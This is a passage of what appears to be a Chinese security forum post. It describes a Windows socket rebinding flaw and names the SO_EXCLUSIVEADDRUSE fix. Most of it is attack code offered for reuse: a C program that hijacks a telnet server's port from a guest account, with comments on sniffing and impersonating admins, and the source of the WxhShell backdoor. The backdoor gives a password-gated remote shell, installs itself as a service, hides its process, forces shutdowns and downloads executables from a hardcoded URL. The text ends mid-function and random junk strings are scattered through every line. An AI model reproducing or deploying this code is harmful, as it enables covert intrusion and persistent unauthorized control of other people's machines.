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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kq%`9,XE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rl5}W\&  
:o}7C%Q8  
  saddr.sin_family = AF_INET; x6DH0*[.  
=hl-c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $Z28nPd/  
LO"HwN43h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bf;IJ|v^  
4kXx(FE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1Y9Ye?~jd  
{bETHPCf  
  这意味着什么?意味着可以进行如下的攻击: M~662]Ekk  
N_0&3PUSM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #gN{8Yk>  
]Vwky]d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zt!l3(*tt  
dN*<dz+4r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6AQ;P  
#-lk=>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [/#n+sz.A  
%7|qnh6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3b&W=1J  
oub4/0tN,~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jilO%  "  
Y6N+,FAk+J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |9\Lv $VJ  
D[tGbk  
  #include d'3'{C|kk  
  #include Ne9 .wd  
  #include p`d:g BZ  
  #include    ]hf4= gm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rz7yAm  
  int main() ]`4 QJ ;#  
  { Osy5|Ts  
  WORD wVersionRequested; *<0g/AL  
  DWORD ret; |d`?wm-  
  WSADATA wsaData; $!vi:+ED  
  BOOL val; Og*1pvN<  
  SOCKADDR_IN saddr; #&8 Opo(  
  SOCKADDR_IN scaddr; 41uS r 1  
  int err; HdnSs0 /  
  SOCKET s; c//W#V2Q  
  SOCKET sc; *(k=!`4(  
  int caddsize; j_H T  
  HANDLE mt; / 9;Pbxn  
  DWORD tid;   rRt<kTk!U  
  wVersionRequested = MAKEWORD( 2, 2 ); =p7W^/c  
  err = WSAStartup( wVersionRequested, &wsaData ); EEo+#  
  if ( err != 0 ) { .A `:o  
  printf("error!WSAStartup failed!\n"); [cW  
  return -1; h">X!I  
  } :<(<tz7dj  
  saddr.sin_family = AF_INET; (CV=0{]  
   R;.WOies4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -"nYCF  
G7=8*@q>:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a #0{tZd  
  saddr.sin_port = htons(23); h n ]6he  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =lmh^**4  
  { JR>B<{xB  
  printf("error!socket failed!\n"); .z4FuG,R  
  return -1; !*ucVv;  
  } )I$Mh@F  
  val = TRUE; O0l;Qi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ixH7oWH#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K*}j1A  
  { "nefRz%j+  
  printf("error!setsockopt failed!\n"); ge?ymaU$a  
  return -1; R 1b`(  
  } VsMNi#?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yTvK)4&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !'MD8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nc{ <v  
MtB:H*pM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _ o(h]G1].  
  { lyeoSd1AN  
  ret=GetLastError(); Y'~&%|9+T  
  printf("error!bind failed!\n"); c,fedH;  
  return -1; [aC9vEso!  
  } atAA[~  
  listen(s,2); `->k7a0<b1  
  while(1) `j$d(+Gv  
  { l`]!)j|+  
  caddsize = sizeof(scaddr); M*H G4(n0  
  //接受连接请求 O:x%!-w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PWU#`>4  
  if(sc!=INVALID_SOCKET) =w8 YZs8w  
  { Lgfr"{C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); srkOa d  
  if(mt==NULL) < KA@A}  
  { Qw-qcG  
  printf("Thread Creat Failed!\n"); Dw[Q,SE   
  break;  zVa+5\Q  
  } ZSSgc0u^?  
  } ?yb{DZ46  
  CloseHandle(mt); 5`DH\VD.j  
  } lq5E?B  
  closesocket(s); "8]170  
  WSACleanup(); c 1GP3  
  return 0;  f#nmr5F  
  }   f5-={lUlIS  
  DWORD WINAPI ClientThread(LPVOID lpParam) FHC7\#p/9Z  
  { T}TP.!0E  
  SOCKET ss = (SOCKET)lpParam; u5_fM*Ka  
  SOCKET sc; 5b'S~Qj#r$  
  unsigned char buf[4096]; qsRh ihPX  
  SOCKADDR_IN saddr; Sx"I]N  
  long num; iT"Itz-^#  
  DWORD val; *)1z-rH`  
  DWORD ret; J#]y KgT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4\3t5n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jayoARUB  
  saddr.sin_family = AF_INET; :<gk~3\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GZt] 38V)g  
  saddr.sin_port = htons(23); Jx<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -tdG} Gu  
  { wp*1HnWj8Y  
  printf("error!socket failed!\n"); ( -@>  
  return -1; 6hq)yUvo4  
  } ;p ('cwU%  
  val = 100; +bn w,B><  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AlxS?f2w  
  { OEW,[d  
  ret = GetLastError(); H/&Q,9sU21  
  return -1; buXG32;  
  } e8 aV qq[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SI9hS4<j  
  { 0Kk*~gR?  
  ret = GetLastError(); pH [lj8S  
  return -1; h)vTu%J:  
  } xn8B|axB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LH;G :  
  { 8|GpfW3p 2  
  printf("error!socket connect failed!\n"); W V U9NmvE  
  closesocket(sc); gi>_>zStv  
  closesocket(ss); aO%FQ)BT  
  return -1; V1`| j  
  } Qknc.Z}  
  while(1) X%CPz.G  
  { L#Y;a 5b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |hM)e*"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ={ '($t%|T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UGt7iT<`8  
  num = recv(ss,buf,4096,0); !?/bK[ P,  
  if(num>0) Uzn|)OfWP  
  send(sc,buf,num,0); QO/7p]$_  
  else if(num==0) \[EWxu  
  break; {Xd5e@:Js  
  num = recv(sc,buf,4096,0); $"{3i8$3mT  
  if(num>0) Q%2Lyt"(  
  send(ss,buf,num,0); z:5ROlk0  
  else if(num==0) G{~p.?f:  
  break; "n, ZP@M;  
  } }8: -I Nj4  
  closesocket(ss); :,,y63-f4  
  closesocket(sc); % cdP*  
  return 0 ; VH6|(=8  
  } <1BK 5%?  
o7XRa]O  
#U D  
========================================================== DG?\6Zh  
#.YcIR)  
下边附上一个代码,,WXhSHELL |l(lrJ{  
s.)w A`&&  
========================================================== T+h{Aeg  
FF~4y>R7u  
#include "stdafx.h" neFno5dj  
{{%8|+B  
#include <stdio.h> MToQ8qKs  
#include <string.h> .G~5F- 8'  
#include <windows.h> 'LLx$y.Ei[  
#include <winsock2.h> #%"TU,[+  
#include <winsvc.h> UO<claV  
#include <urlmon.h> R7c)C8/~  
*AR<DXE L  
#pragma comment (lib, "Ws2_32.lib") -yGm^EwP  
#pragma comment (lib, "urlmon.lib") NV4W2thYo  
>%dAqYi $  
#define MAX_USER   100 // 最大客户端连接数 i bs "Iv34  
#define BUF_SOCK   200 // sock buffer $ow`)?sh  
#define KEY_BUFF   255 // 输入 buffer jdf)bO(9#  
wLe&y4  
#define REBOOT     0   // 重启 vXQmEIm  
#define SHUTDOWN   1   // 关机 <# r.}T.l  
f+Li'?  
#define DEF_PORT   5000 // 监听端口 C*e[CP@u  
+STzG /9#  
#define REG_LEN     16   // 注册表键长度 72vGfT2HtZ  
#define SVC_LEN     80   // NT服务名长度 =e-aZ0P  
x>" JWD  
// 从dll定义API TbAdTmW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XPo'iI-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); igj@{FN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *"{Z?< 3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \1C!,C  
bk9~63tN+>  
// wxhshell配置信息 .hNw1~Fj  
struct WSCFG { N: jiZ)  
  int ws_port;         // 监听端口 6FIoWG"x  
  char ws_passstr[REG_LEN]; // 口令 R bc2g"]  
  int ws_autoins;       // 安装标记, 1=yes 0=no FXEfD"  
  char ws_regname[REG_LEN]; // 注册表键名 D K_v{R  
  char ws_svcname[REG_LEN]; // 服务名 u!Nfoq&'u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V?dK*8s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g] C3 lf-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ^-*Tn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ixHZX<6zYT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GiO#1gA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OrJlHMz  
_m?(O/BTx  
}; tF g'RV{  
B5H&DqWzr  
// default Wxhshell configuration )u/ ^aK53^  
struct WSCFG wscfg={DEF_PORT, AaC1 ||?R  
    "xuhuanlingzhe", xj q7%R_,  
    1, rIfGmh%H  
    "Wxhshell", T1!Gr!=  
    "Wxhshell", C*6)Ut '  
            "WxhShell Service", y&=19 A#  
    "Wrsky Windows CmdShell Service", "M0l;  
    "Please Input Your Password: ", k+r9h'd   
  1, cPaWJ+c  
  "http://www.wrsky.com/wxhshell.exe", lrX0c$)  
  "Wxhshell.exe" 't?7.#,6O  
    }; ~G:2iSi(#  
v[DbhIXU  
// 消息定义模块 *[~o~e/YCb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qq7X ",s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \ jXN*A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |-Esc|J(  
char *msg_ws_ext="\n\rExit."; LI;EfyL  
char *msg_ws_end="\n\rQuit."; ~ 9~\f  
char *msg_ws_boot="\n\rReboot..."; xP6?es`  
char *msg_ws_poff="\n\rShutdown..."; JrWBcp:Y  
char *msg_ws_down="\n\rSave to "; jo3}]KC !  
pH l2!{z  
char *msg_ws_err="\n\rErr!"; I&fh  
char *msg_ws_ok="\n\rOK!"; po2[uJ  
`CEj 4  
char ExeFile[MAX_PATH]; =>z tBw\  
int nUser = 0; <CKmMZ{  
HANDLE handles[MAX_USER]; aGk%I  
int OsIsNt; U;Ll.BFP  
grxl{uIC8  
SERVICE_STATUS       serviceStatus; P:, x?T?J^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T\ }v$A03  
?-::{2O)  
// 函数声明 * :tjxC  
int Install(void); :Ip:sRz  
int Uninstall(void); jM1%6  
int DownloadFile(char *sURL, SOCKET wsh); 1LId_vJtJ  
int Boot(int flag); m_Ac/ct f  
void HideProc(void); Ao,!z  
int GetOsVer(void); Li-(p"  
int Wxhshell(SOCKET wsl); =_m9so  
void TalkWithClient(void *cs); `=}UFu  
int CmdShell(SOCKET sock); l*\~ew   
int StartFromService(void); 6^IqSNn-  
int StartWxhshell(LPSTR lpCmdLine); 'Ywpdzz[  
{29S`-|P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #DK3p0d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); waWKpk1Wo  
mh#FY Sp  
// 数据结构和表定义 KA-/k@1&  
SERVICE_TABLE_ENTRY DispatchTable[] = J1]w*2  
{ N>pmhskN?  
{wscfg.ws_svcname, NTServiceMain}, H1%[\X?=  
{NULL, NULL} g;!@DVF$  
}; ?X#/1X%u:  
@6 ;oN  
// 自我安装 r2GK_$vd  
int Install(void) r -q3+c^+  
{ iA3>X-x   
  char svExeFile[MAX_PATH]; d=Df.H+3  
  HKEY key; }uI7 \\S  
  strcpy(svExeFile,ExeFile); #3Ej0"A@-B  
!H1tBg]5  
// 如果是win9x系统,修改注册表设为自启动 rx6-~0!eI=  
if(!OsIsNt) { A6NxM8ybn+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ed^uA+D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qQxA@kdd  
  RegCloseKey(key); V@ _-H gg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (e8G (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Q4PbW  
  RegCloseKey(key); WfDX"rA  
  return 0; M,t*nG  
    } C3\E.u ?  
  } `e $n$Bh  
} jkF+g$B  
else { 5Z9~ &U  
Z<ajET`)  
// 如果是NT以上系统,安装为系统服务 <wt$Gglk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @ 2!C^}d3F  
if (schSCManager!=0) .;HIEj zq  
{ Cl6m$YUt  
  SC_HANDLE schService = CreateService B+Y5b5+wOQ  
  ( Z%+BWS3YqY  
  schSCManager, 1X::0;3  
  wscfg.ws_svcname, 7k] RO  
  wscfg.ws_svcdisp, l 70,Jo?78  
  SERVICE_ALL_ACCESS, i>Fvmw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P1i*u0a  
  SERVICE_AUTO_START, ?jri!]ux#  
  SERVICE_ERROR_NORMAL, *!g 24  
  svExeFile, ;Rhb@]X  
  NULL, dCZ\ S91q  
  NULL, #`La|a.-  
  NULL, os1?6 z~  
  NULL, Zn@W7c,_I  
  NULL G` ,u40a  
  ); 3$c(M99r  
  if (schService!=0) ok`]:gf  
  { T0`"kjE  
  CloseServiceHandle(schService); !8Z2X!$m{<  
  CloseServiceHandle(schSCManager); }3f BY@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hhpv\1h#  
  strcat(svExeFile,wscfg.ws_svcname); G[3k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6x_ T@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8M^wuRn  
  RegCloseKey(key); L6:W'u^  
  return 0; #M5_em4kN  
    } i s L{9^  
  } {[2tG U9  
  CloseServiceHandle(schSCManager); }pMP!%|  
} " F-Y^  
} E &7@#'l  
c[VrC+e m  
return 1; ?&znUoB  
} ,Z>wbMJig  
e=t<H"&  
// 自我卸载 P_p6GT:5  
int Uninstall(void) Ys-Keyg  
{ >1x7UXs~:  
  HKEY key; FXx.$W  
q*6q}s3n  
if(!OsIsNt) { JbE?a[Eg?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-~mOYea  
  RegDeleteValue(key,wscfg.ws_regname); iOT)0@f'  
  RegCloseKey(key); [J0*+C9P*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ <qrM  
  RegDeleteValue(key,wscfg.ws_regname); CQdBf3q  
  RegCloseKey(key); gbm0H-A:*  
  return 0; }B y)y;~  
  } 3{N\A5 ~  
} c 9rVgLqn!  
} F =XF]  
else { "7Eo>g   
R? O-x9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8HMo.*Ti9  
if (schSCManager!=0) 3p=vz'  
{ rdO@X9z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *FV0Vy  
  if (schService!=0) )ll?-FZ   
  { T yU&QXb  
  if(DeleteService(schService)!=0) { BlXX:aZv  
  CloseServiceHandle(schService); &Hv;<  
  CloseServiceHandle(schSCManager); AD^X(rW  
  return 0; coDj L.u  
  } 4d!S#zx  
  CloseServiceHandle(schService); Nd`HB=ShJ  
  } R0%?:! F  
  CloseServiceHandle(schSCManager); P7z:3o.  
} ~32Pjk~  
} 6wPeb~{  
FbveI4  
return 1; /H')~!Yz  
} 2Ok?@ZdjA{  
mc?';dEG  
// 从指定url下载文件 a`#S|'oatC  
int DownloadFile(char *sURL, SOCKET wsh) 0pD W _  
{ Vo%Yf9C  
  HRESULT hr; *|mz_cKu  
char seps[]= "/"; |U#DUqw  
char *token; wG+=}1X  
char *file; o]A XT8  
char myURL[MAX_PATH]; ;Xqn-R  
char myFILE[MAX_PATH]; d7* CwY9"  
Yi 6Nw+$  
strcpy(myURL,sURL); kl" ]Nw'C  
  token=strtok(myURL,seps); -Q#o)o  
  while(token!=NULL) HOfF"QAR$  
  { qNpu}\L  
    file=token; N[pZIH5ho=  
  token=strtok(NULL,seps); 5.w iTy  
  } KxY$PgcC  
e#.\^   
GetCurrentDirectory(MAX_PATH,myFILE); E#8_hT]5  
strcat(myFILE, "\\"); gI)u}JX  
strcat(myFILE, file); + 3h`UF  
  send(wsh,myFILE,strlen(myFILE),0); rJ DnuR  
send(wsh,"...",3,0); [[w2p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eK'wVg#  
  if(hr==S_OK) NCi>S%pD`<  
return 0; _?.\Xc  
else Pey//U  
return 1; ]u+MTW;  
m4@MxQm  
} /}=a{J  
4d0#86l~J/  
// 系统电源模块 =L"^.c@  
int Boot(int flag) NvQ%J+  
{ .)7:=  
  HANDLE hToken; LP9)zi  
  TOKEN_PRIVILEGES tkp; -ui< E?v  
.]P2}w)x?  
  if(OsIsNt) { oU8>Llt=$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l4KbTKm7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H d*}k6  
    tkp.PrivilegeCount = 1; i}B;+0<drx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]=x\b^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (= 9 wo  
if(flag==REBOOT) { hT'=VN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aVwH  
  return 0; P/MM UmO  
} ~].ggcl`w  
else { sK&,):"]R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X"j>=DEX  
  return 0; kh3<V'k]  
} !2$ z *C2;  
  } %k2FPmA6  
  else { dCeX}Z  
if(flag==REBOOT) { e0 u,zg+m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]9*;;4M g  
  return 0; `XW*kxpm  
} @DuK#W"E u  
else { 03([@d6<E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mRwT_(;t  
  return 0; ^P?vkO"pB?  
} WS:5MI,OL  
} W`rMtzL5  
^,TTwLy- t  
return 1; *tc{vtuu~^  
} ,."b3wR[w  
H-I{-Fm  
// win9x进程隐藏模块 ,3HcCuT  
void HideProc(void) ',{7% G9  
{ oq$w4D0Z  
(e9fm|n!)|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +?[BU<X6u  
  if ( hKernel != NULL ) f8'MP9Lv  
  { .et ^4V3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KzphNHd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ``u:lL  
    FreeLibrary(hKernel); DI1(`y  
  } __I/F6{ 9V  
^:u?ye;  
return; *5OCqU+g  
} BAV>o|-K  
C!&y   
// 获取操作系统版本 .VM3D0aV  
int GetOsVer(void) ghAi{@s$)  
{  9S1)U$  
  OSVERSIONINFO winfo; tHh HrMxO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c #lPc>0xb  
  GetVersionEx(&winfo); -.iNNM&a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |cDszoT /  
  return 1; r &%.z*q  
  else MT6/2d  
  return 0; P`jL]x  
} {Dr@HP/x=s  
C5@V/vA  
// 客户端句柄模块 (K :]7  
int Wxhshell(SOCKET wsl) = 96P7#%  
{ !MVj=(  
  SOCKET wsh; Bs8[+Ft5  
  struct sockaddr_in client; g%a|q~)  
  DWORD myID; |0.Xl+7  
r-IT(DzkD  
  while(nUser<MAX_USER) s-*._;  
{ "e6|"w@8  
  int nSize=sizeof(client); iiG f'@/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8K{[2O7i)  
  if(wsh==INVALID_SOCKET) return 1; 1A<,TFg  
q; ji w#_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~n?>[88"  
if(handles[nUser]==0) (GcT(~Gq)D  
  closesocket(wsh);  c</1  
else qAY%nA>jO  
  nUser++; /nZ;v4  
  } vq!uD!lr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *7$P]  
55Gtp\L  
  return 0; z42F,4Gk  
} <rIz Z'D  
/6+NU^  
// 关闭 socket @|\R}k%(  
void CloseIt(SOCKET wsh) @=Fi7M  
{ E9}{1A  
closesocket(wsh); 8VQ 24r  
nUser--; x\\~SGd  
ExitThread(0); $uj(G7_  
} a9U_ug58  
)92r{%N  
// 客户端请求句柄 o[1ylzk}+  
void TalkWithClient(void *cs) 8K"+,s(%R  
{ -\,zRIOK  
o "z@&G" ^  
  SOCKET wsh=(SOCKET)cs; $` VFdAe  
  char pwd[SVC_LEN]; 57,dw-|xi  
  char cmd[KEY_BUFF]; [10zTU`  
char chr[1]; en*d/>OVJ  
int i,j; o0It82?RN  
0N:XIGFa  
  while (nUser < MAX_USER) { ]; Wx  
o<i,*y88  
if(wscfg.ws_passstr) { fc_2D|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z=7|{G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fJAnKUF)  
  //ZeroMemory(pwd,KEY_BUFF); H1EDMhn/  
      i=0; "v-(g9(  
  while(i<SVC_LEN) { !j:`7PT\  
^W?Z  
  // 设置超时 I97yt[,Yy  
  fd_set FdRead; s{bdl[7  
  struct timeval TimeOut; o@bNpflb`  
  FD_ZERO(&FdRead); od' /%  
  FD_SET(wsh,&FdRead); ANi)q$:{  
  TimeOut.tv_sec=8; \G |%Zw|  
  TimeOut.tv_usec=0; v(]]_h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .dMVoG5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :9t4s#.  
tw=oH9c80  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,XkGe   
  pwd=chr[0]; 5ETip'<KT6  
  if(chr[0]==0xd || chr[0]==0xa) { ~|ss*`CT  
  pwd=0; "= / f$Xf  
  break; _aWl]I){5  
  } ;)AfB#:d  
  i++; 0\9K3  
    } o=J9  
Px FWJ?=  
  // 如果是非法用户,关闭 socket DL'iS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8flOq"uK^  
} [U@; \V$  
_ *f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v *-0M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @%ip7Y]e  
RoGwK*j0+  
while(1) { W,^W^:m-x  
-_ C#wtC  
  ZeroMemory(cmd,KEY_BUFF); G q<X4C#|  
D]G)j  
      // 自动支持客户端 telnet标准   ao_4mSB  
  j=0; jnB~sbyA  
  while(j<KEY_BUFF) { EZ;"'4;W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :#k &\f-Y  
  cmd[j]=chr[0]; `o]g~AKX  
  if(chr[0]==0xa || chr[0]==0xd) { #|GSQJ$F)`  
  cmd[j]=0; e=vsuqGT  
  break; eB> s=}|  
  } sZ,Y60s8a  
  j++; %UUH"  
    } ($w@Z/;  
QqNW}: #  
  // 下载文件 66x?A0P  
  if(strstr(cmd,"http://")) { $$APgj"|<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HB+|WW t>  
  if(DownloadFile(cmd,wsh)) EtbnE*S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$ %0.s  
  else S"Lx%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j>uj=B@  
  } ;V^pL((5J  
  else { @fv}G>t  
ez]tAW  
    switch(cmd[0]) { <f@"HG l  
  zZcnijWb  
  // 帮助 40E#JF#  
  case '?': { k>x&Ip8p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;Gx)Noo/>  
    break; O$/o'"@ /  
  } r(d':LV  
  // 安装 l3Njq^T  
  case 'i': { y[B>~m8$  
    if(Install()) n Ox4<Wk&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJ4pTOc  
    else .itw04Uru  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); toN^0F?Qm  
    break; H~ZV *[A`  
    } sGh(#A0Pt  
  // 卸载 2(5ebe[  
  case 'r': { qTZFPfyU  
    if(Uninstall()) n  -(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); su*Pk|6%  
    else m]i @ +C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kmzH'wktt  
    break; 6T 8!xyi-+  
    } DCqY|4Qc  
  // 显示 wxhshell 所在路径 .ERO|$fv  
  case 'p': { Oo kh<ES>  
    char svExeFile[MAX_PATH]; f&v9Q97=  
    strcpy(svExeFile,"\n\r"); 9zYVC[o  
      strcat(svExeFile,ExeFile);  :Gm/  
        send(wsh,svExeFile,strlen(svExeFile),0); AJ#Nenmj  
    break; D}8EERb  
    } g&/T*L  
  // 重启 iq( )8nxi  
  case 'b': { 6aM*:>C"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rZ8`sIWQt  
    if(Boot(REBOOT)) *m?/O} R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bfo["  
    else { PkI:*\R  
    closesocket(wsh); Q.K,%(^;a  
    ExitThread(0); cGjPxG;  
    } McB[|PmC  
    break; 8@so"d2e  
    } y;/VB,4V  
  // 关机 Zd"^</ S  
  case 'd': {  : ]C~gc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >EY3/Go>  
    if(Boot(SHUTDOWN)) .\>v0Du  
